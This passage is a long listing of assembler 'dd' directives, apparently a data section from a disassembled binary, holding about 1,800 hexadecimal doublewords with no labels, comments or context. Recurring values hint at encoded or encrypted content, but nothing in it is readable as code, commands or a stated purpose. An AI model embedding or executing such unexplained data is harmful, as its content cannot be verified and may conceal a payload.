		dd 73C0911Ch, 7EAE6938h, 6AB5A1E4h, 0D0834C70h,	0B1F7FB5Eh
		dd 392C6708h, 1CC7111Ch, 0F3B8CF9Ch, 3C224520h,	0C5ABC16Bh
		dd 0D0C539F9h, 0E4036C9Fh, 0CC5557F4h, 3F3D14D3h, 0E5F76C9Fh
		dd 0CC55ABF4h, 6B3D1407h, 0C1B4AC9Fh, 8A042D67h, 780760A6h
		dd 0DBB0B350h, 0FC6CF0ACh, 8C4234A4h, 0D522A9DEh, 4F42000h
		dd 0D70547A6h, 0B0D7DF2h, 0CB0775F2h, 0D46C7DF4h, 8F55C88h
		dd 3F5AC564h, 56FC663Ch, 6474590Ch, 98B423F8h, 3EF44D6Ah
		dd 1B17108Ah, 1F385F44h, 49CA1E4h, 3D644904h, 0CC6CFF4Ch
		dd 0DAE3505h, 77DCA010h, 7FED9568h, 0D1002BF8h,	0D13A66F9h
		dd 0DC3AA9C7h, 0DB136BC9h, 7CE23D90h, 0BFACB1A5h, 6763FD0Fh
		dd 7CD9C264h, 0BFACF9A5h, 10C2FE77h, 6CA8E214h,	0BBDCF95Bh
		dd 40758D60h, 0BA92A14h, 0E8077C83h, 0F961087Fh, 2C29A764h
		dd 413969FBh, 20076025h, 316C507Fh, 1D64388h, 1038B0D7h
		dd 0DBC14262h, 0AD1F403h, 39006728h, 0C7B10B8h,	3E1CFCA6h
		dd 1314FF94h, 6CA8FCE9h, 0CDDCF9E2h, 43038D60h,	0F1A85014h
		dd 9AF5578Eh, 2546AADFh, 72162703h, 7C5B518Eh, 0BFBCEDA5h
		dd 0AB63FD4Bh, 7D65C264h, 24C72D1Fh, 0D4666D84h, 950F5466h
		dd 312D15Fh, 0FC8244FCh, 0E07B925h, 616CA77Fh, 7BD68C88h
		dd 46EE7CC8h, 2ABDA0FCh, 0A61DE1E4h, 0C6ADCFF0h, 8A1DC0FEh
		dd 3FAB24F0h, 7C5E6180h, 0CB60FEE4h, 0F40C6B1Eh, 0BF2C5CF8h
		dd 6AE721D8h, 3F3E613Ch, 0DC3FF431h, 65B56D0Ah,	70F768CEh
		dd 38A367FCh, 0BAAF7CDh, 5F077D73h, 0B66CD67Fh,	0D9ED3F88h
		dd 0D907317Fh, 6F3D2A39h, 0F5395D67h, 0FCBE1FEFh, 210F769Bh
		dd 205DF9E7h, 7B357E71h, 0CCBE5B1Eh, 25327DEBh,	240064F4h
		dd 18345926h, 352C57D5h, 1EC51C8h, 0F0D507Fh, 3CE1C9FCh
		dd 98AD4C80h, 0C0A811E6h, 0F0A90145h, 2F4F27ECh, 0A40C65F8h
		dd 7F381EF4h, 6F25E52Ch, 3B17EA24h, 0B8FAA1A8h,	1B609C09h
		dd 7486C118h, 764F44A8h, 45F0E5C7h, 98903D44h, 2D6D9752h
		dd 4B0775B8h, 16914696h, 1B2D3D48h, 2C3C97FCh, 410C69CCh
		dd 2F075525h, 3C6C457Fh, 0C2E0914Ch, 194DFB84h,	42AA779Ch
		dd 74C14514h, 2DAC7DDEh, 42BC697Ch, 54F754A8h, 0FC8C5CFCh
		dd 0AC6CD57Fh, 0B4E1894Ah, 0D86C75DEh, 0A074BDE1h, 6A7C40DCh
		dd 17067B74h, 0E73D2380h, 6CA8FAF4h, 6424D1FCh,	4AE6980h
		dd 30FCA1DCh, 954943C0h, 3B17FA1Ch, 890CA966h, 0DAFCF539h
		dd 57088474h, 0B54B88Eh, 0AA067D41h, 7D9F0128h,	0B86776EBh
		dd 7860788Eh, 0E70D8A83h, 0B85FF430h, 0C5C7F5EAh, 8290E6ABh
		dd 0DB52408Ch, 23AF52Ch, 0BCF274C9h, 0E1008D0Fh, 8B4C17Dh
		dd 30C12A84h, 414A9D1Ch, 0D0B4D4AEh, 0A50CED3Ah, 0B4E26ABCh
		dd 0B89E149Eh, 0DBA4B594h, 44348C84h, 0CCDC6948h, 0DBDD1140h
		dd 0CCFC0158h, 461F59Dh, 2DFC49DEh, 0B077A0Ch, 5FB58494h
		dd 0E7B47CBCh, 1884B1B0h, 442CDDC7h, 0CA983A5Ch, 0A79CF1D4h
		dd 2A44A000h, 5C9E1DD8h, 0CF07739Ch, 1C7DC394h,	0FF3CF6AFh
		dd 0F30F7A9Fh, 45152D38h, 431F8D60h, 0F0834314h, 0F054B5E4h
		dd 0DA189539h, 3AA4F414h, 0BAC497Ch, 38A8FEB8h,	0DB94BD9Ah
		dd 0BC64F454h, 0D6A0E7A4h, 4E163BCh, 0AFE8B252h, 0FCC7F6E8h
		dd 0BB37A1A8h, 2C616B09h, 0E5E3697Ch, 38BD448Eh, 0E5F46924h
		dd 14A075C9h, 4A02859Fh, 0E5B895E0h, 2BB4C063h,	8660ED08h
		dd 246059B0h, 0AF38D537h, 0B050F465h, 93F3FABCh, 9A4267A8h
		dd 0FCE417C8h, 14D4F1FCh, 2461FB9Eh, 41AC5DC0h,	2FF7B488h
		dd 1B63FD30h, 66B05467h, 0A4F3688Eh, 23B51778h,	0FF3DF9F6h
		dd 5CE0B94Ch, 0A4707466h, 0B5C988Eh, 0B7186554h, 0E8D45926h
		dd 6A511725h, 0FA1D0D4Ch, 0C5DCF97Bh, 0D7DCA948h, 4B098D60h
		dd 421F9DA0h, 3DDC64AAh, 40F38D60h, 6CA8A014h, 75DCF919h
		dd 40AB8D60h, 6CA8E814h, 0ADDCF941h, 0B6638D60h, 7C71A210h
		dd 0DA821A5h, 0DB55EAB4h, 0FF000AF2h, 0D363F3E3h, 7F0DC264h
		dd 0BFAC4DA5h, 0B63FD2Bh, 0D3610966h, 8357B525h, 84749925h
		dd 6F14E17Ah, 0D128F1B4h, 0E43A6189h, 0DB5B6BC9h, 0BFB378E4h
		dd 0DD63FDF1h, 7F13C264h, 0BFAC43A5h, 1563FD39h, 7CCBC264h
		dd 0BFAC8BA5h, 4D63FD61h, 7C83C264h, 0BFACD3A5h, 8563FCA9h
		dd 7C7BC264h, 0BFAD1BA5h, 0FD66FC91h, 7C835674h, 0BFAC63A5h
		dd 10D4FDD9h, 0A454FD98h, 0BA44EC74h, 0FF1C1004h, 9363ECBCh
		dd 7C42C264h, 2BAE10A5h, 25BE27D8h, 0D11627FCh,	9508578Eh
		dd 25464FDFh, 9162724h,	9AC0578Eh, 254697DFh, 4116276Ch
		dd 9AB8578Eh, 2546DFDFh, 0B9162754h, 9A70578Eh,	254727DFh
		dd 0F116269Ch, 4D28548Eh, 433E8D60h, 6CA85D14h,	1F88CBDAh
		dd 0A63FD28h, 513D3461h, 613A660Ch, 27D86BC9h, 9AAED977h
		dd 4C7CEC35h, 9A82578Eh, 2546D1DFh, 871626AEh, 9A7A578Eh
		dd 254719DFh, 0FF152696h, 0CEDCF971h, 43008D60h, 6CA85714h
		dd 6DCF92Ch, 40F88D60h,	6CA89F14h, 7EDCF914h, 40B08D60h
		dd 6CA8E714h, 0B6DCF95Ch, 40688D60h, 6CA92F14h,	0EEDCF884h
		dd 53206660h, 0B50577F2h, 653C107Ch, 705F77AEh,	461CB8D0h
		dd 0D5AB74FAh, 0C43CFEFEh, 45D0DA4h, 13E3414Ah,	65B5A3C9h
		dd 77AB8924h, 0CBA9FAFFh, 0C33574A1h, 5E650C94h, 0DB6A4238h
		dd 4C4EF0B0h, 3899A49Eh, 0BFBA6564h, 2E63FDC1h,	42E5C264h
		dd 7DEBC274h, 58B230ABh, 46A51920h, 4907FE25h, 0A76CE47Fh
		dd 0B8041517h, 88AAEA8Ch, 0AD5D49FFh, 0DCEEE5AFh, 0D4DDA1C9h
		dd 6DA866FDh, 4496702Ch, 0D64E914h, 0BF14AF58h,	4D8211Ch
		dd 0EA24930h, 3CB54898h, 0ED412468h, 3864FFCDh,	8ED73E08h
		dd 0C43424D7h, 0C45D0FC4h, 0D218E52Ah, 3902492Ah, 70ED54D0h
		dd 1A374A7Dh, 2C60B80Ch, 18F0DA00h, 2DAA976Ch, 0E58E6970h
		dd 0B707ED22h, 0E2392497h, 70524262h, 0C618E42Ah, 0F8457120h
		dd 34A06591h, 9AB8E84Fh, 0C56B5938h, 676CB8BCh,	0B83BB517h
		dd 0F497E44Ch, 0A790E64h, 0B86C5CACh, 0BC4441B2h, 99952A80h
		dd 98B959h, 0F331240Ch,	2714FFF1h, 0BDF24E08h, 0E8962698h
		dd 78EC273Fh, 0F05841E4h, 508685C3h, 18C8F8ECh,	568F974Ch
		dd 0EA944370h, 3EFCF2BCh, 4E55168Ch, 0F02C66C4h, 5387751Ch
		dd 74F7C8A8h, 89145566h, 0D08745DDh, 180CF8ECh,	6FFC570Ch
		dd 763A59C4h, 0DBC073DDh, 54560864h, 0BB07A121h, 0B7393D17h
		dd 97E07D4Ah, 9A43FCEEh, 0E331DD25h, 1351900h, 951D2C48h
		dd 7CD3C1D1h, 207A779Dh, 0F11494A8h, 58C4C77Dh,	25469EDFh
		dd 7416271Ah, 6F11388Eh, 0D13CCE60h, 0E8BD6275h, 5D2CB94Dh
		dd 0DB914262h, 0BC6AF7A9h, 6A4C20B7h, 0D0594F9Eh, 0DB8143E4h
		dd 0BF05F4FAh, 651F21C0h, 0D0F44C2Bh, 1DE3FB32h, 77B591C9h
		dd 0CD07112Eh, 4650812Ah, 0E0823E6Ch, 593914D4h, 442A8D60h
		dd 0F7ACC770h, 59147F2Dh, 7D1C42CCh, 0BC75BA28h, 0D7688C22h
		dd 6C4094A4h, 411D861Eh, 4DA866FBh, 0B880A1A8h,	0C71D2562h
		dd 847D41C9h, 467CB120h, 0E1002625h, 0C47A0C7Fh, 37C12745h
		dd 0A5835567h, 0FCE84E04h, 6862FF2Ah, 10F0BC9Fh, 1FF6754Ah
		dd 0F69D3D38h, 4F07F525h
		dd 7B08E572h, 0A625791Ch, 6A6441D0h, 744FA4h, 6CAB2DE4h
		dd 0D5CF08Ch, 90E8AB24h, 6C52DDFEh, 0A317D014h,	0E7AC8DA8h
		dd 6F032BFFh, 0C71654ABh, 372CECD4h, 3FAABDF0h,	78FC673Ch
		dd 4B284168h, 22201863h, 80A71172h, 0C09E4784h,	20504D35h
		dd 87E047EEh, 4D05EAF0h, 0A46375D0h, 0A34124A4h, 0A9185D3Ch
		dd 0B5ABD927h, 8098A7FEh, 0D0737D77h, 0E1E3FA8Eh, 219B0DC9h
		dd 42A8A047h, 0F740718h, 8B8D45E7h, 20EE4960h, 384F1950h
		dd 5DC4A763h, 63DC4D20h, 98ED51h, 0A33926FCh, 5D847712h
		dd 0FB460550h, 0B731A15Bh, 6D683D78h, 0BF14AF6Ch, 2F5D239Ch
		dd 1A8E01E4h, 3F2761E4h, 0DC20F4FCh, 0D4B56DF4h, 0DCE003CEh
		dd 0D314FCE5h, 0C52DFCD4h, 3F2E612Ch, 3CF52124h, 0DAFCF4E0h
		dd 0DAC442E3h, 672B4104h, 6CE0754Ah, 0D0A4FCFFh, 0C537FC64h
		dd 4F2CEC7Ch, 0CE7467F8h, 2D33D5C8h, 0A24480E4h, 0F8460544h
		dd 0C4667D23h, 390CF141h, 0DDE51754h, 6F607971h, 1E2D1D64h
		dd 4F38FE0Ch, 0E42125C9h, 4210B96Ch, 55E37D4Ah,	0AFB5D9C9h
		dd 8140C6A4h, 9A1E2D1Eh, 6CAB1BF0h, 0D441EA7Ah,	0B7025972h
		dd 0A3147E35h, 6F611DD1h, 91361A64h, 767439C7h,	0D514C9h
		dd 0FC828ED8h, 42078625h, 536CF67Fh, 0A6D6E288h, 0B138D3D7h
		dd 0DB624262h, 0BC7DF7BFh, 6A4E208Fh, 0D0584F9Fh, 0DB8943E8h
		dd 0BF30F4E0h, 0C568E4F0h, 5C49FBh, 17351B2Ch, 0FE752443h
		dd 0A1A481F1h, 8046CCB3h, 0B3B78CB0h, 0DBBA6B68h, 300DCF2h
		dd 46230D1Ch, 31734ABh,	0D0474FB4h, 0EDE7FA82h,	712340A8h
		dd 308A65FAh, 0BAA902ECh, 403ADB2Ch, 30C4A1C4h,	7440FB8Ch
		dd 0D3477DD0h, 24DDE564h, 6D653DF1h, 946C6E34h,	933F8517h
		dd 5C46DAFCh, 3704F4D5h, 0DE555DEFh, 39174960h,	30E24BD0h
		dd 0D717BF27h, 0CC56C138h, 712D34A8h, 45F085C7h, 98B03D64h
		dd 2D8D9772h, 0DB357A58h, 46450DE7h, 0E9191D25h, 6CF85921h
		dd 0D4C6495Dh, 950F545Ch, 684653DFh, 1B2D3DFCh,	2DF39720h
		dd 0D822770Eh, 6F345703h, 7BEC7DC8h, 0C2ECFA88h, 586CEC7Fh
		dd 0A606797Fh, 7D9E7828h, 0D86177E2h, 0FC74BFFDh, 9ED72E08h
		dd 0F33914D7h, 0A4236062h, 0AB05017Ah, 170629E7h, 0C2B0C75Fh
		dd 0DCA471D5h, 4713C95Eh, 2F41174Ch, 0C055C57Ch, 94AC6EE1h
		dd 8A3F5117h, 7B6644BDh, 7F314745h, 10D57E00h, 9AD8579Eh
		dd 0E4FC64CDh, 0B8A1DD3Fh, 469048A8h, 0D4563129h, 6F18A25Eh
		dd 0B3148D60h, 76A896ECh, 2C96A5FEh, 0C0E2BDF8h, 0DCB2848Eh
		dd 5456952Ah, 0EABC43F2h, 0D35D6AACh, 9CDE24A4h, 0AA3729F1h
		dd 0DBBA5C87h, 46DC4250h, 8466B9Fh, 0D62994ECh,	1810B566h
		dd 1A2C5731h, 6A389ED7h, 0DBDA4262h, 0BCAAF46Ah, 6A86217Ah
		dd 0D0954C47h, 0B8E1FB50h, 8318D5DEh, 0FC705C2Ah, 986D297Fh
		dd 0CAED1888h, 0CA07117Fh, 1C3D0939h, 0D594E9FCh, 0DF787808h
		dd 7C97D12Ch, 0B860D6ABh, 0C5CA7B28h, 63AED10Ch, 0D3D0ACDCh
		dd 4690F4A8h, 0DC805E50h, 7CF8D537h, 80B58254h,	24833550h
		dd 0DA2D2E39h, 0BC55F78Ah, 0A82C2690h, 0D03877DFh, 0D50C4262h
		dd 9EACC9D9h, 0F5A22790h, 4662813h, 0C9664405h,	70C5B50Dh
		dd 1BD0A71Eh, 19DCA11Ah, 1FD8A316h, 1DDA9D12h, 63DA9F12h
		dd 61DA9912h, 67DA9B12h, 65DA9512h, 6BDA9712h, 69DA9112h
		dd 6FDA9312h, 6DDA8D12h, 35DA8F12h, 3BDA4712h, 39DA4112h
		dd 3FDA4312h, 3DDABD12h, 3DABF12h, 1DAB912h, 7DABB12h
		dd 5DAB512h, 0BDAB712h,	9DAB112h, 0FDAB312h, 0DDAAD12h
		dd 0D5DAAF12h, 0DBDA4A12h, 0D9DA6112h, 0DEDAAB12h, 0DCDA5F12h
		dd 17DA5C12h, 13DA5E12h, 11DAA512h, 25DA5512h, 2BDA5712h
		dd 29DA5112h, 2FDA5312h, 2DDA4D12h, 26DA6512h, 21DAA912h
		dd 32DA5A12h, 34D46712h, 7CD8946Bh, 3ED760E7h, 0C00E03CCh
		dd 0CF5171E6h, 74CB5B89h, 0EED0A002h, 15CC6819h, 0D7510B1Eh
		dd 57CD9808h, 0F00BA8C8h, 0D67A994Ch, 84E48CFBh, 64CDE5C8h
		dd 1F06E009h, 17C0B4CCh, 473847F2h, 4026DCD6h, 74B3F630h
		dd 2FC29A39h, 95E39218h, 93C79C23h, 0D1DE9189h,	39E8BAF8h
		dd 0FDEAF830h, 25C18C80h, 18CA9009h, 269BB6D6h,	3CF06400h
		dd 0EFD29000h, 0EDF93A8Dh, 72D7123h, 3A1B37E9h,	0DFE779CFh
		dd 0AE36A1C7h, 8FD522EEh, 1C9F7D02h, 0CCEC484Fh, 2FD49029h
		dd 3EF5A15Bh, 61F07C04h, 70C46F8h, 2A703Bh, 0F00A8F24h
		dd 0EC9A020h, 352BDD17h, 0CC21E6DDh, 0D6F7BACAh, 0B00B6435h
		dd 0DB0CD655h, 23224AC2h, 1DD1476Bh, 0DDE07800h, 6886EAD0h
		dd 9C198E6h, 67C72511h,	9164E314h, 0A25252D6h, 0F4108F5Ah
		dd 0FCFFE1A0h, 3628DC33h, 25380754h, 0D517A9DCh, 5F4ADD4h
		dd 350FE0h, 2F1D852Bh, 8C0697Eh, 202550FFh, 3FCDA40Eh
		dd 6005FCF4h, 1C79319h,	78A71682h, 28E6A408h, 0B0BABDDDh
		dd 1F93A72Dh, 0F82CF857h, 0BC3571Ah, 0BF1CEFC6h, 1D2CA39Ah
		dd 0C252E6F3h, 2A2F3AF8h, 9EAC5446h, 61445101h,	26CC9A8Ah
		dd 0CE8D7545h, 60FFA8ECh, 6317B8D8h, 1D3D7B1Eh,	2CCCA0D7h
		dd 55453405h, 6FA9550Ah, 9DE20106h, 2BDC61EBh, 6DF04F30h
		dd 0DA2E3F0Ah, 7A2C6527h, 0C4879DE7h, 2E1545DCh, 0D4BF4DDEh
		dd 640A92E5h, 92F9564Bh, 2ACBA1A7h, 0FA753211h,	360A7D64h
		dd 4EF244D9h, 6B4E909h,	9BE49B1Dh, 632E690Dh, 0CA6EA21Dh
		dd 346D550Dh, 18CC9119h, 0F0452Bh, 160C4C1Dh, 0B9D72286h
		dd 31C19D98h, 0B727DDCBh, 60C593F3h, 0DB00E608h, 7ED0A6E0h
		dd 30F0B9D0h, 1AD196E2h, 9EE8486Dh, 0E800DB6Dh,	80E89397h
		dd 5669DECBh, 4BD78830h, 52196948h, 78B879CEh, 82938241h
		dd 31F9F7E6h, 5F387FACh, 1B0E3CF7h, 26055D33h, 0DD225D78h
		dd 1B525DC7h, 0CFD70CA0h, 32421408h, 4ED41B4Dh,	300CB701h
		dd 53C7C79h, 256295FEh,	25EEEA6Eh, 1DC2A62Ch, 0B1F0F93h
		dd 7BD1F1E6h, 28DF8C3Eh, 0EB185C20h, 66D1512Fh,	0C520A70Fh
		dd 284B61DEh, 0D5045831h, 0C731B476h, 3BE004FEh, 0A39648Eh
		dd 5F52BB2Bh, 0DDCD43EAh, 123D59EFh, 10BEA8D7h,	8EC6202Ah
		dd 6674FF1Dh, 6CBBE5C5h, 26E79350h, 0ED3AA2A6h,	15CB69FAh
		dd 0ADACB0D1h, 150065E6h, 0D4F74964h, 0DAB588BFh, 52DCF1B8h
		dd 4C0082A0h, 3CBA3DD4h, 86F44E57h, 2D3FCC02h, 85F87138h
		dd 6BAB77DFh, 98285C55h, 0CB38B1C6h, 6613BA49h,	559D5C74h
		dd 681DA7CCh, 1BB66549h, 6AF45F69h, 0FB86C707h,	0DAEA56BEh
		dd 0C4AA912Ch, 938836B2h, 42056D40h, 7DCBB161h,	6324FB36h
		dd 44F7531Ch, 0E816181Dh, 4915A392h, 0FE32703Eh, 0FEF7C30Ah
		dd 70749317h, 0D8D33629h, 62CA99C4h, 18D15B04h,	5CBCBB83h
		dd 6BED2782h, 3F5E9AF2h, 0D39D5ACCh, 3C6B116Bh,	0FB2E78F8h
		dd 0A237983h, 1710F690h, 73134AD8h, 8F6347B8h, 0D70D4A6Dh
		dd 0DF0E21D2h, 4C0D8A4Ch, 0CB0AF166h, 0D253C248h, 0D897BBF8h
		dd 8DE34DA1h, 0E7A5A0FAh, 3813AB05h, 35136FF8h,	0EC49EAF0h
		dd 1305BC9Fh, 0FE2D9AA3h, 34B90D7Ch, 51D8D6CBh,	0C029D1D7h
		dd 0BD1472E4h, 0F384FEBh, 0FB885B08h, 0AB18ACBCh, 22C04A08h
		dd 2C0C70C8h, 9F40131h,	0B8EDB92Eh, 52866D1h, 8E5B2BCh
		dd 26AD4013h, 0ACC921C8h, 0C61E9BEFh, 5CBFF8FEh, 8A88D6FCh
		dd 3063EF91h, 0FDB84BFFh, 0D5E0A5D3h, 9886F5CBh, 38C4DF34h
		dd 3A2C832Bh, 0D8B64608h, 66EC2700h, 0CDC3B832h, 6732BB89h
		dd 0C12C6707h, 3BF0C440h
		dd 39E0C53Ch, 0C40943DBh, 8D9A88A3h, 3289942h, 3C5FA144h
		dd 0D45651EBh, 131E7C4Fh, 0EDB5A8EBh, 69A855A7h, 2EF5E4h
		dd 0E049367Dh, 0C7277EE0h, 3C45BDFFh, 0CECA35F8h, 0D73D79E8h
		dd 0B1A4796Ch, 71AEDA44h, 0B1363CE5h, 22247C98h, 54AD5CFCh
		dd 0C0F901F4h, 0D04FFF64h, 9CE6EAC4h, 0FAC4BDE6h, 0F594A520h
		dd 0BD27F23Eh, 5F363537h, 0BD8484BBh, 5A45DE3h,	0A80205F8h
		dd 0B413683Bh, 0A22442ABh, 22ABA617h, 58CE1D04h, 6D2A2418h
		dd 842630BEh, 4BE29D0h,	0FDC85DC8h, 791DFCDCh, 2F1254E1h
		dd 8E1717E4h, 0FC5863FFh, 0D0F85FA2h, 3D41D140h, 3A239965h
		dd 0BC6E61EBh, 0C50399FEh, 3D65EC22h, 8A98586Eh, 34B353B3h
		dd 0D7D2B6C0h, 4C079221h, 0FBE68D56h, 1F1C0020h, 0DCD4F318h
		dd 24C132E6h, 6FBB69C2h, 1FA971C7h, 0ABF1790Bh,	0DCE354B0h
		dd 691AB12Bh, 0C0F51B24h, 270A54DDh, 5A7D4616h,	1D09A648h
		dd 57E82305h, 3409952Fh, 4919A000h, 0DEFFB0DCh,	66D86DF4h
		dd 67E95518h, 3CD78F30h, 2B0B0326h, 1650C2h, 0DECD4724h
		dd 702E71F6h, 40A1ABE4h, 45FFA6F8h, 0CBC25C11h,	0D175C6CCh
		dd 58BFF4FCh, 938165D8h, 0C70DC5E8h, 0ACE846E2h, 0DF138CD7h
		dd 0D2C26229h, 1886B6FCh, 54BC7978h, 3B84A730h,	64CF76C0h
		dd 5FE127F8h, 4C74F0A7h, 40D4D536h, 47D446F8h, 21F4BFC3h
		dd 21520F53h, 2F2637A9h, 0D715F1DEh, 2934EF8Fh,	0B073E3h
		dd 9A4DE077h, 81B5B41Ah, 0ED042EFAh, 7099990Fh,	2DC09BC0h
		dd 58874207h, 0C2C675F8h, 3F1450DFh, 73F85978h,	5B176C97h
		dd 0A5471AE4h, 4B2B5500h, 854FA8E7h, 0A0085C58h, 0BF145DCh
		dd 44AD52Bh, 0E6EA7C28h, 302B3334h, 3DE6C505h, 39F6BBE1h
		dd 665C6639h, 6FCBF401h, 3C30E7BAh, 6A04A403h, 1BF9ED3Ch
		dd 0DF76C04h, 1C57Bh, 681C4630h, 3D403C1Eh, 845791EBh
		dd 9D53B600h, 96E15C30h, 83B0730Bh, 3DEC41CAh, 1DC3973Ch
		dd 7E6999D8h, 0ECDBDC9h, 69C073E9h, 41E16B26h, 1365A422h
		dd 0DC0B8D2Bh, 69CB193Bh, 0F5C09821h, 0CCAE61C5h, 7E375596h
		dd 3D544439h, 9BE841C2h, 6BAC51D0h, 0C42657C3h,	0FB814AE0h
		dd 0FD01D4C3h, 23C9F1F8h, 0E9192C3Bh, 1DB58F92h, 4166B12Bh
		dd 66FDFB03h, 4C61D01Eh, 6AD192C7h, 0F72AE70Fh,	3BFEB2CCh
		dd 8AF29639h, 61C702C7h, 0B3C25C05h, 3B7EB23Ch,	664F1474h
		dd 2B447B49h, 0D9B0B1DEh, 6138D4C3h, 0AB08B1A6h, 94D280F4h
		dd 6AF5A2CAh, 0FC83108h, 5CA86D8Bh, 1EF7B203h, 0BAC56408h
		dd 1FB6B61Fh, 892F85E7h, 2C8AFA2Eh, 0FD4741C6h,	3B15B33Eh
		dd 1F1F4D1Ch, 1BED790Ch, 0FED2529h, 0ABD10B28h,	2C306717h
		dd 2A6FBB2Bh, 9BCEA670h, 0A7A71F1h, 140B4A46h, 0AC7AA463h
		dd 64F67E9Dh, 15E07D09h, 19A965h, 393DB538h, 83CCB63Ch
		dd 0BEB8A4C8h, 4FA5313Ch, 0D5F4417h, 0BC05C5BAh, 169BB953h
		dd 60EA88C9h, 61567DFCh, 0DAE9494Fh, 1FF78D67h,	38DA897Ah
		dd 61FCB88Ch, 4D89F3B0h, 3DBE9B22h, 0E02DDD15h,	0A8230E4h
		dd 0AB66DD6h, 0C6D738DEh, 0FB6F186Ah, 6B33F12Ah, 3BF752CEh
		dd 0B237C00Fh, 3BE02F21h, 1ADF62A4h, 6C0657C9h,	382E78A5h
		dd 0BA9EF1Ah, 6179AF17h, 0EEE17526h, 0BF679FFh,	6FE0BB39h
		dd 0F4C5BFA4h, 73E0A12Fh, 0CBE095C4h, 80D4A604h, 68548C7Ch
		dd 0E0B45E48h, 6BD3014Ch, 35A1A979h, 0A031A11Bh, 0A5143E67h
		dd 40B4C324h, 66878410h, 0F5E67F0Dh, 0EDF4CB8Eh, 5C497436h
		dd 48204C26h, 9B2E570Bh, 0F5B449DDh, 2330F6EDh,	0CA8AD7Ah
		dd 4921AD6Ah, 309C3AF8h, 6A36B418h, 3C73AC45h, 0F24BC00h
		dd 0AB29F7DBh, 0FC246B09h, 40CA9C23h, 93BA7A5Ch, 4D7DED1h
		dd 642DB506h, 1DB2601Bh, 0B4BA37ABh, 8BC0EF75h,	0A1CB9644h
		dd 0BB41EAA4h, 0BB81D0F9h, 0A143A2B3h, 0CCDEDB3h, 2C57C08h
		dd 86CF5D1Eh, 7A59F506h, 9B006F7Fh, 0B93D1CBh, 18116522h
		dd 10C071A8h, 0DC859567h, 58C6B8FCh, 6DB091B6h,	6B61E047h
		dd 0D8B50B59h, 0C3CBB373h, 416FA1C5h, 64D48F16h, 0D110B945h
		dd 0DDA4E0FCh, 396E1DC4h, 4E1EF16Ch, 48DE8ABFh,	61A21651h
		dd 0D654010Ch, 4CF8D331h, 0F90C8D63h, 0BB3FA65h, 0B41235A3h
		dd 82C0F77Ah, 69028AD8h, 6021E50Ah, 0E6535CC4h,	2B255332h
		dd 58815165h, 6CBD5B55h, 403586E8h, 4A0B27C2h, 303E6171h
		dd 0FF18435Ch, 570A4BC7h, 0D6F644A4h, 0BFF0036h, 0E4EA4429h
		dd 4EEBC23h, 0CA074C63h, 4D2C8801h, 0DF31B700h,	20B758C8h
		dd 26C14C0Bh, 69F7680Ch, 0C709B70Eh, 8564D37Eh,	0C3E2FC2Ch
		dd 0EA294081h, 6803C8CFh, 0C4C2AA17h, 0B8EF96FDh, 0DF62CD0Dh
		dd 660606C4h, 2CAE190Ah, 41CC4607h, 0F1989124h,	81D4EE3Eh
		dd 468786A7h, 0AA08F77Dh, 0FB1E61C1h, 41E46896h, 0F42736A8h
		dd 0FAB6477Ch, 0C75C79EFh, 0FC94C7EFh, 0F00D15CCh, 0F62F796Dh
		dd 4DE6B839h, 0BC416D0Eh, 2E314F36h, 0F3EC02F9h, 3BF407ECh
		dd 8E1BBCCh, 0AEBB2FDh,	6E5E6B21h, 34184215h, 1A3DAF23h
		dd 52E3B9DCh, 0C2300343h, 1B0A4950h, 4F8FDD43h,	93B1C47Dh
		dd 246BA2C4h, 2A3A951Bh, 15C254C2h, 0D0ECB83Fh,	6D14ADDEh
		dd 93D9563Ah, 86D73C2h,	0AE16CCCCh, 7C4E73DCh, 0FE28963Fh
		dd 0F628A665h, 0C4207EFAh, 8B04F276h, 0A4D48520h, 24C2B23Ah
		dd 7C3B196Fh, 0E1E11C8Ah, 1F1201EDh, 1B7277E7h,	0CC340D89h
		dd 0FD2C4367h, 6924714Eh, 84CF9DE8h, 86E88C1h, 0E728738Eh
		dd 0ED0CFB2Dh, 815EED75h, 921569A5h, 4D5874A5h,	7D7401EDh
		dd 6EAFB2A9h, 0AD63A685h, 5857756Ch, 0B7175432h, 0FEF7073Ch
		dd 0C0F30AEAh, 886CEB61h, 16FB7DA8h, 14452431h,	0F4F24E84h
		dd 41F5C491h, 7A238934h, 74214929h, 4F8B5D28h, 0C6C79318h
		dd 7A451531h, 7A0003E8h, 70F470A8h, 851BC619h, 4C16CC08h
		dd 0AC626767h, 0D7DBFACEh, 3726D7A7h, 6894118Dh, 0E3D246E9h
		dd 0C73B8A9Eh, 0C65FA08h, 0B7C4C60Fh, 423CF2CEh, 0FFADC2CDh
		dd 755D209Dh, 0AADCC2C8h, 2D5D8653h, 0EF2091F7h, 0E85D1EE7h
		dd 0EBFF1096h, 0A490383h, 9B532191h, 94EF16FFh,	1A5941AAh
		dd 0C0859BEFh, 0D0E45369h, 6118AD71h, 0E3AAB4F2h, 0F8E27BF6h
		dd 4DD0B076h, 30E16A2Dh, 4321B0A0h, 70EF0E86h, 0D4FE49F4h
		dd 2C401EE5h, 9610D227h, 0F6161BEEh, 0A058F069h, 0FFD12484h
		dd 0C16BC4CDh, 0E8483DAEh, 68DD08D1h, 84ED2402h, 0C33DA3D1h
		dd 0FB387721h, 9CF0CAF4h, 8C79E667h, 942CC70Fh,	1F070A97h
		dd 4F10F2Ch, 7592C9Eh, 34650F84h, 0E7AD8933h, 1626B58Bh
		dd 0B7385BFFh, 7888ECF3h, 0F86ED2DEh, 0D8F044AEh, 854790E8h
		dd 15BAAE28h, 7D5C44D6h, 0BA173930h, 0AA84A136h, 6C4880DCh
		dd 102A7A06h, 0A03895E5h, 9C2C9C8Ch, 0ECFBE6E1h, 54D800D8h
		dd 0F4189DE4h, 1452540Dh, 9B2A1E3Ah, 6AB53A9Dh,	0F124EC90h
		dd 0F7F37B66h, 9D4B1C85h, 6088D3B5h, 0CBACE151h, 0F92E3B0Ch
		dd 0F5C35EC2h, 572676EBh, 0FD856CDEh, 0FBE763E9h, 0FE4F748Fh
		dd 0D045837Ch, 18C96009h, 95C15087h, 15C04F04h,	0DEC37843h
		dd 92AA6ED2h, 0CE02702Dh, 0D254B33Dh, 0C83A0112h, 0F9C9FE75h
		dd 0CA198C3Dh, 71CC8A14h, 96DE34CAh, 0D5F4755Eh, 0FE68F97Bh
		dd 0B66871Ah, 0C6D474E7h, 197E6C66h, 0E3D5296Bh, 202221EEh
		dd 0F5D70F84h, 1914C67Ch, 6BA47B57h, 0DDE00FE2h, 993D0F8Eh
		dd 0C0E7585Fh, 75170708h, 6F2301B2h, 44787097h,	0FD4F6170h
		dd 92A9E5B7h, 36E47910h
